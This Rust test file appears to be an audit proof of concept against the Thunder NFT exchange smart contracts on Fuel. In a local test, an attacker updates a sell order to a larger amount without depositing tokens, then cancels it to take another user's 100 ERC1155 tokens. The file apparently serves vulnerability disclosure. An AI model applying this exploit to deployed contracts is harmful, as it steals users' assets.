Copy use std::str::FromStr;
use fuels::{
accounts::wallet::Wallet, prelude::*, types::{
Bits256, ContractId, Identity
}
};
/////////////////////////////////////Setup/////////////////////////////////////
abigen!(
Contract(
name = "AssetManager",
abi = "/home/schnilch/Fuel/thunder-nft/contracts-v1/asset_manager/out/debug/asset_manager-abi.json"
),
Contract(
name = "ExecutionManager",
abi = "/home/schnilch/Fuel/thunder-nft/contracts-v1/execution_manager/out/debug/execution_manager-abi.json"
),
Contract(
name = "ThunderExchange",
abi = "/home/schnilch/Fuel/thunder-nft/contracts-v1/thunder_exchange/out/debug/thunder_exchange-abi.json"
),
Contract(
name = "Pool",
abi = "/home/schnilch/Fuel/thunder-nft/contracts-v1/pool/out/debug/pool-abi.json"
),
Contract(
name = "RoyaltyManager",
abi = "/home/schnilch/Fuel/thunder-nft/contracts-v1/royalty_manager/out/debug/royalty_manager-abi.json"
),
Contract(
name = "Strategy",
abi = "/home/schnilch/Fuel/thunder-nft/contracts-v1/execution_strategies/strategy_fixed_price_sale/out/debug/strategy_fixed_price_sale-abi.json"
),
Contract(
name = "ERC1155",
abi = "/home/schnilch/Fuel/thunder-nft/contracts-v1/erc1155/out/debug/erc1155-abi.json"
)
);
pub type Accounts = [WalletUnlocked; 5];
const STRATEGY_FEE: u64 = 50;
const ROYALTY_MANAGER_FEE_LIMIT: u64 = 500;
pub const BASE_ASSET: AssetId = AssetId::new([0u8; 32]);
pub const ERC1155_NFT_STR: &str = "53a2ce8ca7a1cecfd3c9256797d8edce464f4d6deef427cad7b68a32f4340b0c";
pub async fn get_wallets() -> Accounts {
let mut wallets = launch_custom_provider_and_get_wallets(
WalletsConfig::new(
Some(5), /* Single wallet */
Some(1), /* Single coin (UTXO) */
Some(1_000_000_000), /* Amount per coin */
),
None,
None,
)
.await
.unwrap();
let owner = wallets.pop().unwrap();
let alice = wallets.pop().unwrap();
let bob = wallets.pop().unwrap();
let user1 = wallets.pop().unwrap();
let user2 = wallets.pop().unwrap();
[owner, alice, bob, user1, user2]
}
//The following functions set up all required contracts and initialize them
pub async fn setup_asset_manager(owner: WalletUnlocked) -> (AssetManager<WalletUnlocked>, ContractId){
let asset_manager_id = Contract::load_from(
"/home/schnilch/Fuel/thunder-nft/contracts-v1/asset_manager/out/debug/asset_manager.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&owner, TxPolicies::default())
.await
.unwrap();
let asset_manager = AssetManager::new(asset_manager_id.clone(), owner.clone());
asset_manager.methods().initialize().call().await.unwrap();
(asset_manager, asset_manager_id.into())
}
pub async fn setup_execution_manager(owner: WalletUnlocked) -> (ExecutionManager<WalletUnlocked>, ContractId) {
let execution_manager_id = Contract::load_from(
"/home/schnilch/Fuel/thunder-nft/contracts-v1/execution_manager/out/debug/execution_manager.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&owner, TxPolicies::default())
.await
.unwrap();
let execution_manager = ExecutionManager::new(execution_manager_id.clone(), owner.clone());
execution_manager.methods().initialize().call().await.unwrap();
(execution_manager, execution_manager_id.into())
}
pub async fn setup_thunder_exchange(owner: WalletUnlocked) -> (ThunderExchange<WalletUnlocked>, ContractId){
let thunder_exchange_id = Contract::load_from(
"/home/schnilch/Fuel/thunder-nft/contracts-v1/thunder_exchange/out/debug/thunder_exchange.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&owner, TxPolicies::default())
.await
.unwrap();
let thunder_exchange = ThunderExchange::new(thunder_exchange_id.clone(), owner.clone());
thunder_exchange.methods().initialize().call().await.unwrap();
(thunder_exchange, thunder_exchange_id.into())
}
pub async fn setup_pool(owner: WalletUnlocked, thunder_exchange: ContractId, asset_manager: ContractId) -> (Pool<WalletUnlocked>, ContractId){
let pool_id = Contract::load_from(
"/home/schnilch/Fuel/thunder-nft/contracts-v1/pool/out/debug/pool.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&owner, TxPolicies::default())
.await
.unwrap();
let pool = Pool::new(pool_id.clone(), owner.clone());
pool.methods().initialize(thunder_exchange, asset_manager).call().await.unwrap();
(pool, pool_id.into())
}
pub async fn setup_royalty_manager(owner: WalletUnlocked) -> (RoyaltyManager<WalletUnlocked>, ContractId){
let royalty_manager_id = Contract::load_from(
"/home/schnilch/Fuel/thunder-nft/contracts-v1/royalty_manager/out/debug/royalty_manager.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&owner, TxPolicies::default())
.await
.unwrap();
let royalty_manager = RoyaltyManager::new(royalty_manager_id.clone(), owner.clone());
royalty_manager.methods().initialize().call().await.unwrap();
(royalty_manager, royalty_manager_id.into())
}
pub async fn setup_strategy(owner: WalletUnlocked, thunder_exchange: ContractId) -> (Strategy<WalletUnlocked>, ContractId){
let strategy_id = Contract::load_from(
"/home/schnilch/Fuel/thunder-nft/contracts-v1/execution_strategies/strategy_fixed_price_sale/out/debug/strategy_fixed_price_sale.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&owner, TxPolicies::default())
.await
.unwrap();
let strategy = Strategy::new(strategy_id.clone(), owner.clone());
strategy.methods().initialize(thunder_exchange).call().await.unwrap();
(strategy, strategy_id.into())
}
pub async fn setup_erc1155(owner: WalletUnlocked, nft_holder: Address) -> (ERC1155<WalletUnlocked>, ContractId) {
let erc1155_id = Contract::load_from(
"/home/schnilch/Fuel/thunder-nft/contracts-v1/erc1155/out/debug/erc1155.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&owner, TxPolicies::default())
.await
.unwrap();
let erc1155 = ERC1155::new(erc1155_id.clone(), owner.clone());
erc1155.methods().constructor(Identity::Address(owner.address().into())).call().await.unwrap();
(erc1155, erc1155_id.into())
}
pub async fn post_setup(
strategy: Strategy<WalletUnlocked>,
royalty_manager: RoyaltyManager<WalletUnlocked>,
thunder_exchange: ThunderExchange<WalletUnlocked>,
execution_manager: ExecutionManager<WalletUnlocked>,
asset_manager: AssetManager<WalletUnlocked>,
pool_id: ContractId,
protocol_fee_recipient: Address,
nft_holder: Address
) {
strategy.methods().set_protocol_fee(STRATEGY_FEE).call().await.unwrap();
royalty_manager.methods().set_royalty_fee_limit(ROYALTY_MANAGER_FEE_LIMIT).call().await.unwrap();
thunder_exchange.methods().set_pool(pool_id).call().await.unwrap();
thunder_exchange.methods().set_execution_manager(execution_manager.id()).call().await.unwrap();
thunder_exchange.methods().set_royalty_manager(royalty_manager.id()).call().await.unwrap();
thunder_exchange.methods().set_asset_manager(asset_manager.id()).call().await.unwrap();
thunder_exchange.methods().set_protocol_fee_recipient(Identity::Address(protocol_fee_recipient)).call().await.unwrap();
execution_manager.methods()
.add_strategy(strategy.id())
.call()
.await
.unwrap();
asset_manager.methods()
.add_asset(BASE_ASSET)
.call()
.await
.unwrap();
}
async fn get_contract_instances() -> (
Accounts,
(AssetManager<WalletUnlocked>, ContractId),
(ExecutionManager<WalletUnlocked>, ContractId),
(ThunderExchange<WalletUnlocked>, ContractId),
(Pool<WalletUnlocked>, ContractId),
(RoyaltyManager<WalletUnlocked>, ContractId),
(Strategy<WalletUnlocked>, ContractId),
(ERC1155<WalletUnlocked>, ContractId)
) {
let accounts = get_wallets().await;
let (asset_manager, asset_manager_id) = setup_asset_manager(accounts[0].clone()).await;
let (execution_manager, execution_manager_id) = setup_execution_manager(accounts[0].clone()).await;
let (thunder_exchange, thunder_exchange_id) = setup_thunder_exchange(accounts[0].clone()).await;
let (pool, pool_id) = setup_pool(accounts[0].clone(), thunder_exchange_id, asset_manager_id).await;
let (royalty_manager, royalty_manager_id) = setup_royalty_manager(accounts[0].clone()).await;
let (strategy, strategy_id) = setup_strategy(accounts[0].clone(), thunder_exchange_id).await;
let (erc1155, erc1155_id) = setup_erc1155(accounts[0].clone(), accounts[1].address().into()).await;
post_setup(
strategy.clone(),
royalty_manager.clone(),
thunder_exchange.clone(),
execution_manager.clone(),
asset_manager.clone(),
pool_id,
accounts[4].address().into(),
accounts[1].address().into()
).await;
(
accounts,
(asset_manager, asset_manager_id),
(execution_manager, execution_manager_id),
(thunder_exchange, thunder_exchange_id),
(pool, pool_id),
(royalty_manager, royalty_manager_id),
(strategy, strategy_id),
(erc1155, erc1155_id)
)
}
/////////////////////////////////////Setup End/////////////////////////////////////
/////////////////////////////////////POC/////////////////////////////////////
#[tokio::test]
async fn test_poc() {
let (
[_owner, alice, bob, ..],
(_asset_manager, asset_manager_id),
(_execution_manager, execution_manager_id),
(thunder_exchange, _thunder_exchange_id),
(pool, pool_id),
(_royalty_manager, _royalty_manager_id),
(strategy, strategy_id),
(erc1155, erc1155_id)
) = get_contract_instances().await;
let ERC1155_NFT = AssetId::from_str(ERC1155_NFT_STR).unwrap();
let thunder_exchange_alice = thunder_exchange.clone().with_account(alice.clone());
let thunder_exchange_bob = thunder_exchange.clone().with_account(bob.clone());
//ERC1155 tokens for Alice and Bob are minted. Alice gets 100 and Bob gets 1.
//Bob becomes the attacker in this POC who steals the ERC1155 tokens from Alice.
erc1155.methods()
.mint(alice.address().into(), Bits256::zeroed(), 100)
.append_variable_outputs(1)
.call()
.await
.unwrap();
erc1155.methods()
.mint(bob.address().into(), Bits256::zeroed(), 1)
.append_variable_outputs(1)
.call()
.await
.unwrap();
//These are the parameters for alice sell order. This will allow her to sell her 100 ERC1155 tokens for a price of 1000
let maker_order_input_alice = MakerOrderInput {
maker: alice.address().into(),
collection: erc1155_id.clone(),
price: 1000,
amount: 100,
nonce: 1,
strategy: strategy_id,
payment_asset: BASE_ASSET,
expiration_range: 10000,
token_id: Bits256::zeroed(),
side: Side::Sell,
extra_params: ExtraParams {
extra_address_param: Address::zeroed(),
extra_contract_param: ContractId::zeroed(),
extra_u_64_param: 0
}
};
//alice places her order on the thunder exchange and sends her 100 tokens
thunder_exchange_alice.methods()
.place_order(maker_order_input_alice)
.call_params(CallParameters::new(100, ERC1155_NFT, 1_000_000))
.unwrap()
.append_contract(execution_manager_id.into())
.append_contract(strategy_id.into())
.append_contract(pool_id.into())
.append_contract(asset_manager_id.into())
.call()
.await
.unwrap();
println!("-----------Alice sells 100 ERC1155 tokens-----------");
println!("alice ERC1155 balance: {:#?}\n\n", alice.get_asset_balance(&ERC1155_NFT).await.unwrap()); //Shows that alice has no more ERC1155 tokens
//These are the parameters for bobs sell order. This will allow him to sell his 1 ERC1155 token for a price of 10
let mut maker_order_input_bob = MakerOrderInput {
maker: bob.address().into(),
collection: erc1155_id.clone(),
price: 10,
amount: 1,
nonce: 1,
strategy: strategy_id,
payment_asset: BASE_ASSET,
expiration_range: 10000,
token_id: Bits256::zeroed(),
side: Side::Sell,
extra_params: ExtraParams {
extra_address_param: Address::zeroed(),
extra_contract_param: ContractId::zeroed(),
extra_u_64_param: 0
}
};
//bob places his order on the thunder exchange and sends his 1 token
thunder_exchange_bob.methods()
.place_order(maker_order_input_bob.clone())
.call_params(CallParameters::new(1, ERC1155_NFT, 1_000_000))
.unwrap()
.append_contract(execution_manager_id.into())
.append_contract(strategy_id.into())
.append_contract(pool_id.into())
.append_contract(asset_manager_id.into())
.call()
.await
.unwrap();
println!("-----------Bob sells 1 ERC1155 token-----------");
println!("bob ERC1155 balance: {:#?}\n\n", bob.get_asset_balance(&ERC1155_NFT).await.unwrap()); //Shows that bob has no more ERC1155 tokens
// Bob now sets his amount to the total balance of ERC1155 tokens that the thunder exchange has.
maker_order_input_bob.amount = 101;
thunder_exchange_bob.methods() //Bob updates his amount without sending the tokens to the thunder exchange
.update_order(maker_order_input_bob.clone())
.append_contract(execution_manager_id.into())
.append_contract(strategy_id.into())
.append_contract(pool_id.into())
.append_contract(asset_manager_id.into())
.call()
.await
.unwrap();
println!("-----------Bob updated his order-----------");
println!("bob order amount: {:#?}\n\n", strategy.methods() //This shows that the amount has really been increased
.get_maker_order_of_user(bob.address(), 1, Side::Sell)
.call()
.await
.unwrap()
.value
.unwrap()
.amount
);
//Bob cancels his order, which means he receives the amount of tokens that are in the order.
//This means he gets his 1 token back and then the 100 that actually belong to Alice
thunder_exchange_bob.methods()
.cancel_order(strategy_id, 1, Side::Sell)
.append_contract(execution_manager_id.into())
.append_contract(strategy_id.into())
.append_contract(pool_id.into())
.append_contract(asset_manager_id.into())
.append_variable_outputs(1)
.call()
.await
.unwrap();
println!("-----------Bob canceled his order-----------");
//This shows that alice has no ERC1155 tokens left and bob has all
println!("alice balance: {:#?}", alice.get_asset_balance(&ERC1155_NFT).await.unwrap());
println!("bob balance: {:#?}", bob.get_asset_balance(&ERC1155_NFT).await.unwrap());
}